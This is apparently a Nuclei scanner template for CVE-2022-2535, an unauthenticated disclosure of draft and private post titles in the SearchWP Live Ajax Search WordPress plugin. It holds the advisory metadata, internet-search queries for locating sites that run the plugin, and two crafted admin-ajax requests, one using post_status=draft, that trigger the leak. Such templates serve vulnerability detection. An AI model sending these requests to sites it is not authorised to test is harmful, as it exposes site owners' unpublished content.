SearchWP Live Ajax Search < 1.6.2 - Unauthenticated Arbitrary Post Title Disclosure

id: CVE-2022-2535

info:
  name: SearchWP Live Ajax Search < 1.6.2 - Unauthenticated Arbitrary Post Title Disclosure
  author: r3Y3r53,daffainfo
  severity: medium
  description: |
    The plugin does not ensure that users making. alive search are limited to published posts only, allowing unauthenticated users to make a crafted query disclosing private/draft/pending post titles along with their permalink
  impact: |
    Unauthenticated attackers can access titles and permalinks of private, draft, and pending posts through crafted live search queries with manipulated post_status parameters, potentially exposing confidential content before publication.
  remediation: |
    Fixed in version 1.6.2
  reference:
    - https://wpscan.com/vulnerability/0e13c375-044c-4c2e-ab8e-48cb89d90d02
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2535
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2022-2535
    cwe-id: CWE-639
    epss-score: 0.02075
    epss-percentile: 0.81635
    cpe: cpe:2.3:a:searchwp:searchwp_live_ajax_search:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: searchwp
    product: searchwp_live_ajax_search
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/searchwp-live-ajax-search/
    fofa-query: body=/wp-content/plugins/searchwp-live-ajax-search/
    publicwww-query: "/wp-content/plugins/searchwp-live-ajax-search/"
  tags: cve,cve2022,wp,wp-plugin,wordpress,wpscan,searchwp-live-ajax-search,searchwp,vuln

http:
  - raw:
      - |
        GET /wp-admin/admin-ajax.php?action=searchwp_live_search&swpquery=a&post_status=publish HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /wp-admin/admin-ajax.php?action=searchwp_live_search&swpquery=a&post_status=draft HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 200 && status_code_2 == 200'
          - 'contains(content_type_1, "text/html") && contains(content_type_2, "text/html")'
          - 'contains(body_1, "searchwp-live-search-result") && contains(body_2, "searchwp-live-search-result")'
          - "len(body_1) != len(body_2)"
        condition: and